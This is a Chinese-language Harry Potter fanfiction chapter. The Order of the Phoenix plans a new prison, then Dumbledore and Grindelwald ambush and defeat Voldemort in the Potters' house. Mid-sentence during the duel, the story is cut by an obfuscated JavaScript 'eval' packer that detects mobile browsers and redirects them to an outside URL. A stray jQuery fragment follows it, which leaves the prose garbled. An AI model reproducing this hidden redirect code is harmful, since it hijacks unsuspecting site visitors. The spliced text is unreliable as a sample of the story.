卡卡洛夫的庭审被永远取消。巴蒂·克劳奇非常满意，而穆迪则相当恼火。
“比起卢修斯·马尔福，”他说，“我倒宁肯是伊戈尔·卡卡洛夫被放出监狱。”
“事实上，”卡莉娜平和地说，“我向邓布利多教授提议，让卢修斯参加义务劳动——即使有这份名单，他犯过的错也不会消失——我想总有别的办法让他认识到自己的错误。”
“义务劳动？”穆迪朝她看过来，“这是做什么？”
“字面意思。”卡莉娜耸耸肩，“简单来说，可以送他去对角巷打白工，体会一番他过去最不屑过的生活。”
穆迪看起来在严肃地思考这件事。
“同理，”卡莉娜举例到，“量刑较轻的走私犯和盗窃犯也都可以参与这个项目，为对角巷各个店主提供免费的劳动——包食宿。阿兹卡班对这些轻刑犯的惩罚过分严重……摄魂怪会对他们的精神造成不可估量的伤害。”
穆迪又看了一遍手上的名单。
“好吧，”穆迪嘟哝着说，“我们能不能指定他义务劳动的店铺？”
“当然。”卡莉娜说，“邓布利多教授现在应当在威森加摩，为这份提案拉票——希望克劳奇不要过分光火。”
“轮不到他光火。”穆迪说，“米里森·巴格诺还是他的顶头上司，这份法案会通过的。”
“希望如此。”卡莉娜挑挑眉毛，“金羊毛将承建轻刑犯监狱，我们还在考虑它的设计方案。”
穆迪瞟了几眼卡莉娜手里的一些草稿。
“如果傲罗办公室的主任愿意为我们提供一些建议，”卡莉娜把草稿向穆迪推过去，“我们将感激不尽。”
“你们需要一套最健全的安保系统。”穆迪翻动着这些草稿，“即使是看起来最无辜的犯人，都有一套自己的独门技巧……”
其他人走进凤凰社的时候，看见的是一副热火朝天的设计场景。
“不能让他们轻易从这里逃走。”穆迪绕着桌子走着，木腿一下下重重地踩在地板上，吱嘎作响，“我个人的建议是直接建成高塔……节约面积的同时，防止他们跳窗越狱……”
卡莉娜面前的草稿堆了一叠，她正在嗖嗖地在新的稿纸上写着什么。
“你们在干什么？”西里斯抄起最上面的一张稿纸，“监狱设计方案？”
“没错。”卡莉娜没有抬头，“魔法部良心发现，决心保留阿兹卡班作为重刑犯的拘禁地，在最北部的悬崖上重新开设一个普通的监狱。”
“是这样吗？”多卡斯挤进来，“我还以为是阿兹卡班的牢房挤满了——昨天我送吉本去阿兹卡班，他不得不和之前的另一个食死徒分享同一个牢房。”
“也有个中原因。”卡莉娜把现在这张羊皮纸填满，“食死徒和其他犯人关在一起究竟不太合适——小偷毛贼们应付不来这些恐怖分子。”
“全自动化设计？”马琳探着头看她在写的内容，“格斯帕德知道这件事吗？”
“他激动得要命。”卡莉娜抽出一张新的草稿纸，“需要担心的是塞巴斯蒂安——他又被拉着开发各种建材。”
“可以想见。”吉迪翁叹息着说，“可悲、可叹！”
“监狱设计……”费比安在他身后说，“魔法部就是一只一毛不拔的公鸡，居然付得起金羊毛的酬劳？”
“马尔福将全款支付这次监狱建设。”卡莉娜平静地说，“我们会在监狱的大门上感谢马尔福家族的巨大贡献。”
“卢修斯·马尔福？”德达洛震惊地说，“他不是伏地魔最得力的助手吗？他怎么会愿意给我们付钱？”
“他现在是不愿意。”卡莉娜说，“再过一段时间他就愿意了。”
“而且是抢着支付。”卡拉多克说。
爱米琳狐疑地扫了他们一眼。
“总觉得其中有什么阴谋。”她对身边的埃德加说。
埃德加的脸上露出一种迷惑——他和卡莉娜并不很熟。
“人都到齐了？”穆迪扫了一眼人头济济的大堂，“我的黑板呢——我们需要再过一次计划。”
“是的，穆迪先生！”他手下的傲罗们异口同声地回答道。
海格勉强挤过凤凰社的大门，手里拿着他那把粉红色的雨伞。
“我没迟到吧？”他嘟哝着说，重重地在凤凰社给他加固的那张椅子上坐下。
椅子发出不堪重负的哀鸣声。
穆迪严厉地看了一眼，敲了敲他手边的黑板。
漂亮的粉笔字在黑板上延伸开来。
————
潮湿多风的夜晚。
这是一条并不明亮的街道，橱窗上爬满纸蜘蛛，许多人家的门口摆放着乘着漂亮糖果的玻璃碗。戴着南瓜头的孩子们摇摇摆摆地走过广场，一家家地敲门。他们的笑声平日会让他心烦，但油然而生的那种目的感、权力感和正确感让他忽略了心中的那点不耐烦——他确信今晚会获得胜利。
伏地魔飘然而行，路过那些俗气的麻瓜装饰品，脚下滑动着的枯叶甚至没有发出声音。
“化装得很漂亮，先生！”一个小男孩儿跑到他面前，画着油彩的可爱脸蛋望着他的脸——这个男孩儿迟疑，而后很快恐惧地跑开。
他袖子下的魔杖动了动，但他觉得今晚没有必要……没有必要。
伏地魔转到另一条更加昏暗的街道上，这条街道上有更多麻瓜们见不到的房子。目的地出现在他面前，他们甚至没有费心做一个赤胆忠心咒……或许是拿准了自己会获得战争的胜利，甚至不屑于掩饰自己的位置。
他走到黑乎乎的树篱边，望进那个小小的客厅。
他们没有拉窗帘。
高个子、戴眼睛的黑发男子，正在用魔杖喷出一阵阵彩色的烟雾，逗那穿蓝睡衣的黑发小男孩开心。那男孩儿板着一张小脸，一巴掌呼在男子脸上——但这男子却像是完全不在意，笑得更加开心。
一扇门开了，母亲走了进来，说着他听不到的话，她那深红色的长发垂在脸旁。父亲把儿子抱起来交给母亲，把魔杖随意地插在裤子口袋里，但还是饶有兴致地戳着那个男孩儿的小脸——那个男孩儿看起来更加不高兴了。
大门轻轻一响，伏地魔把大门推开，但里面的人似乎完全没有听见。苍白的手从斗篷下抽出魔杖，指着房门，它砰然打开。
他跨过门槛时，詹姆冲进门厅。
“莉莉！是他！快走！跑！我来挡住他——”詹姆喊道，举起手里的魔杖。
伏地魔哈哈大笑起来。
多么傲慢的一对夫妻！自认为可以凭借自己的力量来抵挡他！
詹姆在客厅里辗转腾挪着，且战且退。
很快，伏地魔就把他逼到了房子的二楼——而且逐渐对这种单调乏味的格斗游戏感到无聊。
“阿瓦达索命！”
绿光照亮整个二楼，照亮了靠在墙边的婴儿车，楼梯栏杆像避雷针一样亮得刺眼——但詹姆·波特抓过一张旁边立着的婴儿床，堪堪抵挡住他的进攻。他听到那个女人在深处尖叫——她也明白自己无路可逃。
詹姆没有恋战，他往妻子所在之处冲去，似乎想要带他们离开这座房子——他跑得很快，用很多东西把婴儿房的门堵住——而伏地魔感到相当悠闲，甚至不介意詹姆躲一会儿。
聪明的选择。他恶毒地想着，也许这对那个孩子也是个解脱——一家三口、完完整整地在一起。
他撞开门，懒洋洋地一挥魔杖，就把她匆忙堆在门后的椅子和箱子抛到一边。
但莉莉·波特或者詹姆·波特，甚至那个小婴儿都不在这扇门后面。
阿不思·邓布利多坐在婴儿床边，平静地看着他。
“汤姆。”他和蔼地说，“欢迎。”
伏地魔感到非常荒唐，但他并不打算马上离开——他很快意识到这是一个该死的陷阱，而且他踩了进来，像一个愚蠢的——他甚至花了几周的时间来破译那些糟糕的数字和公式！
“或许你会感到有些熟悉。”邓布利多站了起来，他的身量很高，站起来的时候压迫感极强，“但这已经不是我可以用燃烧的柜子吓唬你的日子了，汤姆。”
“你对我说过这话。”伏地魔冰冷地说，“我不需要再听一次。”
邓布利多往前迈了一步。
这是一个不太宽敞的房间，伏地魔不由自主地往后退了一步。
“也许你会觉得疑惑。”邓布利多像是回到很多个课堂上，对汤姆·里德尔，他的一个学生说，“莉莉和詹姆去了哪里。”
“幻影移形，”伏地魔冷笑一声，“障眼法——你有很多种办法遮掩他们的踪迹。”
“我还以为你会欣赏他们的精彩演出。”邓布利多教授温和地说，“莉莉和詹姆无论如何也不同意让其他人来扮演自己……于是自告奋勇地来扮演自己……我得说他们的表现相当不错，不是吗？”
“那个男孩——”伏地魔下意识地说，但随即改变了自己的口吻，“不，现在不再重要——”
“如果你想要知道，”邓布利多教授耐心地说，“他们的朋友，西里斯·布莱克自愿喝了缩身药水……老实说，即使作为一个婴幼儿，他也不是个好脾气的孩子。”
伏地魔站在房门口。
“这完全是无用功。”伏地魔嘲弄地说，“你明知道自己抓不住我，这一次不成功，总有下一次、下下次，我总会成功——哈利·波特，他只是一个小男孩儿。”
“没有下一次，汤姆。”邓布利多的接骨木魔杖从袖子里滑出来，“也没有下下次，汤姆——你已经无处可去了。阿拉斯托带着自愿反抗你的巫师们禁锢了这座房子……没有其他人能出入这座房子，包括你和我。”
“那么，这里就只有我和你了，邓布利多！”伏地魔大喊道，举起自己的魔杖，眼睛里闪动着怪异的疯狂，“其他人不敢来面对我——你自己知道这一点——他们没有还手之力！就在这里！我们决一死战！赢的那个人将取得一切——”
“决斗？”伏地魔突然听见另一个冰冷的声音在房门外响起。
他用魔杖指着邓布利多，警惕地看向走廊——走廊的尽头站着一个相当消瘦的老头，穿着一整套打理熨帖的袍子，戴一顶毛呢帽，像是路边到处可以见到的老人。
但当他抬起头来的时候，窗外一瞬间的闪光照亮了他异色的瞳孔。
“决斗？”格林德沃说，“你也配？”
“汤姆。”邓布利多说，“暴力是不能取得一切的，你要明白这一点。”
伏地魔的瞳孔缩成了两条窄窄的细缝，但他并没有退缩，反而再次哈哈大笑起来。
“你们的时代已经过去了！”他说，“你们不明白——你们无法真正打败我——我在长生的路上走得比谁都远！”
“或者在死亡的路上走得比谁都远。”格林德沃说。
老人从自己的袍子里取出一个驴皮袋子。
伏地魔一时之间束手不动了——他有一种可怕的预感，而怒火和恐惧在他心中猛烈地燃烧着，他最畏惧的一件事要发生了——但这不可能，他不明白他们是怎么发现的！
当那些金光闪闪或者灰扑扑的物品滚落在地板上的时刻，他听见自己发出愤怒和不相信的尖叫声。
他很快把指着邓布利多的魔杖抽回来，想要从格林德沃手里重新抢回这些宝物，他真正的珍宝，他赖以长生的秘密——但格林德沃的动作出乎意料地快——在那些魂器出现的刹那，老人把一整瓶毒液泼在每一件物品上。
最让他惊诧的是，这些魂器的毁坏没有让他感到任何痛楚。
这不可能。如果他——他自己，最重要的和最珍贵的自己受到攻击、损伤，他黑魔王伏地魔怎么可能不知道？
“这是假的！”他听见自己高亢而尖锐的声音宣布到，“这是你们伪造的！”
“我确实伪造了一份。”格林德沃颇有趣味地说，“如果你回到马尔福庄园，还能和16岁的我做个笔友。”
“这不可能！”极端的怒火驱使着他——他的魔杖从空中劈下，绿光喷涌而出——但格林德沃同样抽出了自己的魔杖。
“对黑魔法的亵渎。”年老的黑巫师说，“你从不明白它真正的精妙之处……”
在所有魔咒的交错中，他们不能够幻影移形，只能依靠自己的魔法技艺和格斗能力。
“你们老了！”在木板的吱嘎作响声中，伏地魔喊道，“你们耳聋眼瞎，对这一点视而不见——你们想要怎样打败我——邓布利多，你总是把爱挂在嘴边……但爱是不能够打败我的！”
“爱不是一份狭隘的事物。”邓布利多流光奕奕的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16814328|185562||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
袍子滚动着，他挥舞着魔杖，指挥着楼梯栏杆扭曲着朝伏地魔抽去，“汤姆，真正的爱从不狭隘……但你总不能沉下心来理解……爱应当是每一个人生来就有的东西。”
“他已经不是你顽劣的学生了，邓布利多！”格林德沃沙哑地喊道，“他只是个可悲的傻瓜——我们可以在他引以为豪的事物上完全打败他——就在那些他看重的魔法上！更加高深的魔法、更加强大的武器，只要他需要的，没有我们没有的——”
“你又懂得什么？”伏地魔大声嘲笑道，“邓布利多的手下败将——难道你就能明白他嘴里的爱吗——还是纽蒙迦德让你改头换面了？”
无数简短的画面流过格林德沃的瞳孔，紧接着一幅幅破碎。
“你不明白……”格林德沃满是皱纹的脸上扬起一个笑容，“是的，爱。”
他们的战场从狭窄的二楼走廊转移到一楼大厅。
穆迪带领着其他人站在这座临时建筑外，咬牙支撑着摇摇欲坠的魔法囚笼。
“梅林最肥的三角内裤！”卡莉娜能听到吉迪翁在远处的喊声，“他们三个到底是什么玩意儿？”
“看在梅林的份上！”一个稚嫩的声音愤怒地喊道，“那瓶缩身药水到底是谁熬的？”
卡莉娜勉力举着自己的魔杖，低头看见两岁大的西里斯紧紧抱着她的腿。
“西弗勒斯的魔药。”站在她左边的莉莉不明所以地说，“怎么了，大脚板？”
“一个小时过去了！”西里斯用细细的嗓音说，“为什么我还没变回来？”
莉莉倒吸一口凉气。
“你只能再等等了，大脚板！”詹姆在另一头喊道，“没人现在能抽得出手——”
“梅林的蕾丝袜！”费比安也喊起来，“邓布利多教授击穿了魔头的盾牌！”
多卡斯发出欢呼声。
“安静！”穆迪隆隆地喊道，“专心——不是闲聊的时候！”
这个夜晚相当冰冷，卡莉娜能感觉到自己捂在靴子里的脚像是一块冰。风把每一个人的脸颊刮得通红，但所有人坚持着、等待着。
卡莉娜无暇去看自己手腕上的表，但地平线边缘，她看见曙光慢慢升起来——
小半轮耀眼的太阳升了起来，金红色的光芒穿透这座建筑的玻璃窗——卡莉娜这回也能看清房子里的全部情形——邓布利多教授举起魔杖，他杖尖发出的火红色光芒和伏地魔的绿光碰撞在一起，最中央的连接处迸射出金色的火焰。
他们没有一个人退缩。
格林德沃在邓布利多教授身后，看起来被某个咒语的威力砸在了墙上——他勉力爬了起来，有些一瘸一拐的，但动作很快——他手里的花揪木魔杖喷出银蓝色的光芒。
银蓝色的光或者火没入那片金色的火焰中——就在那一刹那，伏地魔手中的紫衫木魔杖飞了起来，打着转飞向格林德沃和邓布利多的方向——与此同时，伏地魔踉跄后退、双臂张开，瞳孔在他细长的眼睛里慢慢涣散，那张蜡一样的脸空洞而茫然。
他自己的咒语反弹回去，把他杀死了。
在初升的太阳下，汤姆·里德尔倒在地上，像一个凡人一样死去了。
一瞬间让人战栗的寂静。
邓布利多教授站在汤姆的尸体边上，静静地注视着这副被主人折磨过的躯壳。
“谁去确认一下他死了？”良久以后，多卡斯清脆的声音问。
穆迪重重地叹了口气，迈着木腿接近这座堪称豆腐渣工程的房子。
“他死了！”穆迪弯下腰看了一眼，对外面的所有人喊道。
欢呼声、喊叫声排山倒海般在庭院里响起——所有人都自觉地聚集到前院，互相拥抱、亲吻，庆祝新的太阳升起来了。
有一瞬间，卡莉娜以为自己的脖子要被马琳勒断了——但她很快被卡拉多克拯救出来，本吉也把马琳拉走了。德达洛被双子举到头顶，惊恐地呼救，海格则用两只大手把他捧得更高。爱米琳、多卡斯、斯多吉和埃德加围拢在一起，似乎在为事前打的赌分赃。埃菲亚斯在小院门口的树桩上坐着，眯缝着眼观察一望无际的田野。阿不福思站在埃菲亚斯身边，似乎正在控制自己进去打人的冲动。西里斯终于恢复了青年男子的身形，怒吼着追逐拿着一个相机的莱姆斯——趁此机会，他拍摄了许多照片。莉莉和詹姆紧紧地拥抱在一起，似乎在和谁聊天。
“哈利，和爸爸妈妈说早上好。”如尼板另一头，慈祥的女声说。
“妈妈……爸爸……”一个真正稚嫩的声音说，“早上，早上……好。”
“早上好，哈利！”莉莉温柔地说，“我和爸爸马上就到家，你跟着巴希达奶奶，乖乖的，好吗？”
“哈利，”那边的小家伙似乎正在信誓旦旦地拍着自己的胸脯，“乖乖的。”
詹姆一直在旁边发出一种怪声，试图逗笑哈利。
他满脸笑意地直起身，看见邓布利多教授微笑地注视着他。
“教授！”他高高兴兴地说，“你要和哈利打个招呼吗？”
完全不顾格林德沃锐利的眼神，詹姆举着如尼板凑上来，教哈利和邓布利多教授聊天。
在莉莉把如尼板拿回去以后，詹姆下意识地想要跟上莉莉——但他突然记起一件事，于是转头问道：“教授，你研究完我的隐形衣了吗？有没有什么发现？”
格林德沃的眼神开始一眨不眨地盯着他，但詹姆向来不在乎这些眼神，他只期待地看着邓布利多教授。
邓布利多教授似乎也没有注意到格林德沃，从怀里轻轻抽出一件隐形衣——这是一件银光闪闪的隐形衣，像流水一样丝滑。
“研究完了。”他平和地说，“是一件真正的隐形衣——好好使用，詹姆。”
“我想我一直在好好使用它。”詹姆淘气地眨眨眼睛，把隐形衣披在身上，只剩一颗头在空气里乱窜。
“莉莉！莉莉！”他大喊道，“我来了！”
“有谁该去告诉魔法部这个消息。”穆迪走近邓布利多教授，嘟哝着说，“我不喜欢跟那帮家伙打交道——更何况还有半个名单的漏网之鱼在满英国乱晃。”
“那么就不急着告诉他们这个消息。”邓布利多教授回答道，“我们还有很长、很长的时间。”
在遥远的地平线上，金红色的太阳完全升了起来。